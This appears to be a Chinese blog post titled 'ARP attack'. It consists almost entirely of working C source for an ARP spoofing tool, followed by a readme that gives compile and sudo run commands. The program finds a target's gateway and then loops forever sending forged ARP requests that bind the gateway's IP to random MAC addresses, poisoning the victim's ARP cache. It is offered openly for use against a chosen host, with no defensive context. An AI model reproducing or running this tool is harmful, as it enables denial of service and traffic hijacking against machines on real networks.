arp攻击

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <malloc.h>
#include <linux/filter.h>
#include <netinet/in.h>
#include <netpacket/packet.h>
#include <sys/socket.h>
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <sys/ioctl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/stat.h>
#include <fcntl.h>

#define TIMEOUT_RCV  4

#define INTERVAL_CHEAT 5

#define BUFFERSIZE_REQUEST (NLMSG_SPACE (sizeof (struct rtmsg)))
#define BUFFERSIZE_RESPONSE (4096 << 1)

#define MAXNO_NLMSG 16

struct rawarp
{
  struct ethhdr eh;
  struct ether_arp msg;
}__attribute__((packed));



/*
  the gateway of NIC.
  @ifindex: NIC index.

  @return: the gateway ipaddr. 0xffffffff(-1) as failure.
 */
in_addr_t gateway_on_nic (int ifindex);



/*
  the destation host is actively??
  @sock: socket id.
  @dstaddr: host

  @return: 0: not actively; 1: actively
 */
int pinghost (int sock, in_addr_t dstaddr, u_int8_t *dsthwaddr);




/*
  get NIC ipaddr by NIC index.
  @sock: socket id.
  @index: NIC index.

  return: NIC netaddr.
 */
in_addr_t getaddrbyindex (int sock, int index);



/*
  get index of NIC that can direct link to addr.
  @sock: socket id.
  @addr: destation ipaddr.

  @return: NIC index.
 */
int bindnicbyaddr (int sock, in_addr_t addr);





/*
  send invalidly arp request to destation host.
  @sock: socket id.
  @gateway_addr: ip address of gateway host.
  @dstipaddr: ip address of destation.
  @dsthwaddr: hardware address of destation.

  @return: -1: error.
 */
int cheat (int sock, in_addr_t *gateway_addr,
       in_addr_t *dstipaddr, u_int8_t *dsthwaddr);




 
/*
  generate random hardware address.
  @hwaddr: save the random hardware generated.
 */
void gen_hwaddr (u_int8_t *hwadd);




/*
  setup arp protocol.
  please check '/usr/include/netinet/if_ether.h' to get argument meaning.
 */
void setup_arpmsg (struct rawarp *arpmsg,
           unsigned char *dsthwa,
           unsigned char *srchwa,
           __be16 ha_type,
           __be16 op,
           u_int8_t *sha,
           in_addr_t *spa,
           u_int8_t *tha,
           in_addr_t *tpa);



int main (int argc, char **argv)
{
  const struct timeval timeout = {TIMEOUT_RCV, 0};
  struct hostent *host;
  int sock; 
  int ifindex;

  in_addr_t gateway_addr;
  u_int8_t dsthwaddr[ETH_ALEN];
 
  if (2 != argc)
    {
      fprintf (stderr, "Missing host./n");
      return -1;
    }

  if (NULL == (host = gethostbyname (argv[1])))
    {
      fprintf (stderr, "get host address failure: %s./n", strerror (errno));
      return -1;
    }

 
  if (-1 == (sock = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ARP))))
    {
      fprintf (stderr, "create socket failure: %s./n", strerror (errno));
      return -1;
    }


  if (-1 == setsockopt (sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof (struct timeval)))
    {
      fprintf (stderr, "set socket feature RCVTIMEO failure: %s./n", strerror (errno));
      goto close_sock;
    }

 
  if (-1 == (ifindex = bindnicbyaddr (sock, *(in_addr_t *) host->h_addr)))
    goto close_sock;


  /* destation is actively?? */
  if (!pinghost (sock, *(in_addr_t *) host->h_addr, dsthwaddr))
    {
      fprintf (stderr, "host %s isn't actively./n", argv[1]);
      goto close_sock;
    }


 
  /* get the ip address of gateway. */
  if ((in_addr_t) -1 == (gateway_addr = gateway_on_nic (ifindex)))
    {
      fprintf (stderr, "can'f find getway./n");
      goto close_sock;
    }

  /* cheat destation (change the arp entry for gateway.)*/
  cheat (sock, &gateway_addr, (in_addr_t *) host->h_addr, dsthwaddr);


 close_sock:
  close (sock);

  return 1;
   
}




int cheat (int sock, in_addr_t *gateway_addr,
       in_addr_t *dstipaddr, u_int8_t *dsthwaddr)
{
  struct rawarp request;
  u_int8_t random_hwaddr[ETH_ALEN];

  struct sockaddr_ll paddr;
  size_t paddr_size = sizeof (struct sockaddr_ll);

 
  bzero (&paddr, sizeof (struct sockaddr_ll));
  if (-1 == getsockname (sock, (struct sockaddr *) &paddr,
             (socklen_t *) &paddr_size))
    {
      fprintf (stderr, "get socket address failure: %s./n", strerror (errno));
      return -1;
    }

  setup_arpmsg (&request,
        dsthwaddr, random_hwaddr, paddr.sll_hatype,
        ARPOP_REQUEST, random_hwaddr, gateway_addr, NULL, dstipaddr);
  while (1)
    {
      sleep (INTERVAL_CHEAT);
      gen_hwaddr (random_hwaddr);

      memcpy (request.eh.h_source, random_hwaddr, ETH_ALEN);
      memcpy (request.msg.arp_sha, random_hwaddr, ETH_ALEN);
           
      if (-1 == send (sock, &request, sizeof (struct rawarp), 0))
    {
      if (EINTR != errno &&
          EAGAIN != errno &&
          EWOULDBLOCK != errno)
        {
          fprintf (stderr, "send arp request failure: %s./n", strerror (errno));
          break;
        }

      continue;
    }
    }

  return -1;
}



/*
  generate random hardware address.
  @hwaddr: save the random hardware generated.
 */
void gen_hwaddr (u_int8_t *hwaddr)
{
  static int fd = -1;

 
  hwaddr[0] = 0;
  if (-1 == fd)
    {
      char *file_random = "/dev/urandom";
      if (-1 == (fd = open (file_random, O_RDONLY)))
    {

      memcpy ((hwaddr + 1), hwaddr, (ETH_ALEN - 1));
      return;
    }
    }

  read (fd, (hwaddr + 1), (ETH_ALEN - 1));
  return;
}



in_addr_t gateway_on_nic (int ifindex)
{
  char buffer_request[BUFFERSIZE_REQUEST]__attribute__((aligned (NLMSG_ALIGNTO)));
  char *buffer_response;
   
  int nd;
  struct nlmsghdr *nh;
  struct rtmsg *route_msg;
  struct rtattr *route_attr;
 
  ssize_t bytes_recv;

  struct nlmsghdr *gatewaylist[MAXNO_NLMSG];
  size_t len = 0;
  int i = 0;

  in_addr_t gateway_addr = 0xffffffff;


  if (NULL == (buffer_response = memalign (NLMSG_ALIGNTO, BUFFERSIZE_RESPONSE)))
    {
      fprintf (stderr, "allocate memory failure: %s./n", strerror (errno));
      return gateway_addr;
    }

 
  if (-1 == (nd = socket (PF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE)))
    {
      fprintf (stderr, "create socket failure: %s./n", strerror (errno));
      goto free_buffer;
    }

 
  bzero (buffer_request, sizeof (BUFFERSIZE_REQUEST));
  nh = (struct nlmsghdr *) buffer_request;
  route_msg = (struct rtmsg *) NLMSG_DATA (nh);

  nh->nlmsg_len = NLMSG_LENGTH (sizeof (struct rtmsg));
  nh->nlmsg_type = RTM_GETROUTE;
  nh->nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;
  route_msg->rtm_table = RT_TABLE_MAIN;

  if (-1 == send (nd, buffer_request, BUFFERSIZE_REQUEST, 0))
    {
      fprintf (stderr, "send request failure: %s./n", strerror (errno));
      goto close_nd;
    }

 
  if (-1 == (bytes_recv = recv (nd, buffer_response, BUFFERSIZE_RESPONSE, 0)))
    {
      fprintf (stderr, "recv response failure: %s./n", strerror (errno));
      goto close_nd;
    }

 
  nh = (struct nlmsghdr *) buffer_response;
  for (; NLMSG_OK (nh, bytes_recv); nh = NLMSG_NEXT (nh, bytes_recv))
    {
      route_msg = (struct rtmsg *) NLMSG_DATA (nh);
      if (RT_TABLE_MAIN != route_msg->rtm_table)
    continue;

      route_attr = (struct rtattr *) RTM_RTA (route_msg);
      len = RTM_PAYLOAD (nh);

      for (; RTA_OK (route_attr, len); route_attr = RTA_NEXT (route_attr, len))
    {
      if (RTA_GATEWAY != route_attr->rta_type)
        continue;

      gatewaylist[i] = nh;
      i++;
      break;
    }
    }

  while (--i >= 0)
    {
      int isgateway = 0;
           
      nh = gatewaylist[i];
      route_msg = NLMSG_DATA (nh);
      route_attr = (struct rtattr *) RTM_RTA (route_msg);
      len = RTM_PAYLOAD (nh);
     
      for (; RTA_OK (route_attr, len); route_attr = RTA_NEXT (route_attr, len))
    {
      switch (route_attr->rta_type)
        {
        case RTA_OIF:
          if (ifindex != *(int *) RTA_DATA (route_attr))
        break;
         
          if (isgateway)
        goto free_buffer;
         
          isgateway = 1;
          break;

        case RTA_GATEWAY:
          memcpy (&gateway_addr, (int *) RTA_DATA (route_attr), sizeof (int));
          if (isgateway)
        goto free_buffer;

          break;
        default:
          break;
        }
    }

    }

 
 close_nd:
  close (nd);
 
 free_buffer:
  free (buffer_response);
 
  return gateway_addr;
}



int pinghost (int sock, in_addr_t dstaddr, u_int8_t *dsthwaddr)
{
  struct sock_filter sfilter[] = {
    { 0x28, 0, 0, 0x0000000c },
    { 0x15, 0, 5, 0x00000806 },
    { 0x28, 0, 0, 0x00000014 },
    { 0x15, 0, 3, 0x00000002 },
    { 0x20, 0, 0, 0x0000001c },

    // dst address.
    { 0x15, 0, 1, 0x00000000 },
    { 0x6, 0, 0, 0x00000060 },
    { 0x6, 0, 0, 0x00000000 },
  };

 
  struct sock_fprog fprog;
 
  struct rawarp request;
  struct rawarp response;
  struct sockaddr_ll saddr;
  in_addr_t srcaddr;
  int size_saddr;
  int x = 1;
 
  int isactive = 0;

 
  size_saddr = sizeof (struct sockaddr_ll);
  bzero (&saddr, sizeof (struct sockaddr_ll));
  if (-1 == getsockname (sock, (struct sockaddr *) &saddr, (socklen_t *) &size_saddr))
    return 0;
 
 
  if (0 == (srcaddr = getaddrbyindex (sock, saddr.sll_ifindex)))
    return 0;
 
  /* set sock filter. */
  sfilter[5].k = htonl (dstaddr);
  fprog.len = sizeof (sfilter) / sizeof (struct sock_filter);
  fprog.filter = sfilter;

  if (-1 == setsockopt (sock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof (struct sock_fprog)))
    return 0;


  setup_arpmsg (&request,
        NULL, saddr.sll_addr, saddr.sll_hatype, ARPOP_REQUEST,
        saddr.sll_addr,    &srcaddr, NULL,    &dstaddr);
 
  if (-1 == send (sock, &request, sizeof (struct rawarp), 0))
    goto detach_filter;

  while (1)
    {
      if (sizeof (struct rawarp) != read (sock, &response, sizeof (struct rawarp)))
    {
      if (EINTR == errno)
        continue;
    }
      else
    {
      isactive = 1;
      memcpy (dsthwaddr, response.eh.h_source, ETH_ALEN);
    }

      break;
    }
 
 detach_filter:
  setsockopt (sock, SOL_SOCKET, SO_DETACH_FILTER, &x, sizeof (int));

  return isactive;
}




void setup_arpmsg (struct rawarp *arpmsg,
               unsigned char *dsthwa,
               unsigned char *srchwa,
               __be16 ha_type,
               __be16 op,
               u_int8_t *sha,
               in_addr_t *spa,
               u_int8_t *tha,
               in_addr_t *tpa)
{
   
  /* pad ether frame header. */

  if (NULL == dsthwa)
    memset (arpmsg->eh.h_dest, 0xff, ETH_ALEN);
  else
    memcpy (arpmsg->eh.h_dest, dsthwa, ETH_ALEN);

  memcpy (arpmsg->eh.h_source, srchwa, ETH_ALEN);
  arpmsg->eh.h_proto = htons (ETH_P_ARP);

  /* pad ARP request */
  arpmsg->msg.arp_hrd = htons (ha_type);
  arpmsg->msg.arp_pro = htons (ETH_P_IP);
  arpmsg->msg.arp_hln = ETH_ALEN;
  arpmsg->msg.arp_pln = 4;
  arpmsg->msg.arp_op = htons (op);

  memcpy (arpmsg->msg.arp_sha, sha, ETH_ALEN);
  memcpy (arpmsg->msg.arp_spa, spa, 4);

  if (NULL == tha)
    memset (arpmsg->msg.arp_tha, 0xff, ETH_ALEN);
  else
    memcpy (arpmsg->msg.arp_tha, tha, ETH_ALEN);
 
  memcpy (arpmsg->msg.arp_tpa, tpa, 4);
  return;
}

in_addr_t getaddrbyindex (int sock, int index)
{
  struct ifreq req;
  in_addr_t retval;
 
  bzero (&req, sizeof (struct ifreq));
  req.ifr_ifindex = index;

  if (-1 == ioctl (sock, SIOCGIFNAME, &req))
    return 0;

  if (-1 == ioctl (sock, SIOCGIFADDR, &req))
    return 0;

  memcpy (&retval, &(((struct sockaddr_in *) &req.ifr_addr)->sin_addr.s_addr),
      sizeof (in_addr_t));
  return retval;
}





int bindnicbyaddr (int sock, in_addr_t dstaddr)
{
  struct sockaddr_in netmask;
  struct ifconf iflist;
  struct ifreq *ifinfo;
  int count;
  struct sockaddr_ll paddr;

  iflist.ifc_len = getpagesize () & (~ sizeof (struct ifreq));
  iflist.ifc_req = (struct ifreq *) malloc (getpagesize ());

  if (-1 == ioctl (sock, SIOCGIFCONF, &iflist))
    {
      fprintf (stderr, "get NIC list failure: %s./n", strerror (errno));
      return -1;
    }

  count = iflist.ifc_len / sizeof (struct ifreq);
  while (--count >= 0)
    {
      ifinfo = (struct ifreq *) (iflist.ifc_req + count);

     
      if ((-1 == ioctl (sock, SIOCGIFHWADDR, ifinfo)) &&    /
      (ARPHRD_ETHER != ifinfo->ifr_hwaddr.sa_family) &&    /
      (ARPHRD_ETHER != ifinfo->ifr_hwaddr.sa_family))
    continue;

     
      if ((-1 == ioctl (sock, SIOCGIFNETMASK, ifinfo)) &&        /
      (AF_INET != (*(struct sockaddr_in *) &ifinfo->ifr_netmask).sin_family))
    continue;

      netmask = *(struct sockaddr_in *) &ifinfo->ifr_netmask;

      if (-1 == ioctl (sock, SIOCGIFADDR, ifinfo))
    continue;

      if (!((dstaddr ^ (*(struct sockaddr_in *) &ifinfo->ifr_addr).sin_addr.s_addr) &
        netmask.sin_addr.s_addr))
    break;
    }

  if (-1 != count)
    {
      if (-1 != ioctl (sock, SIOCGIFINDEX, ifinfo))
    {
      size_t len = sizeof (struct sockaddr_ll);
      bzero (&paddr, sizeof (struct sockaddr_ll));
      paddr.sll_family = AF_PACKET;
      paddr.sll_ifindex = ifinfo->ifr_ifindex;

      if (-1 != bind (sock, (struct sockaddr *) &paddr, (socklen_t) len))
        count = ifinfo->ifr_ifindex;
      else
        count = -1;
    }
      else
    count = -1;
    }

 
  free (iflist.ifc_req);

  return count;
}

 

readme:

you can compile it with:
    cc -o darp darp.c -g2

use it with:
    $ sudo ./darp [host_ip| host_name](that you want to cheat, but the destation host would be direct link).

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值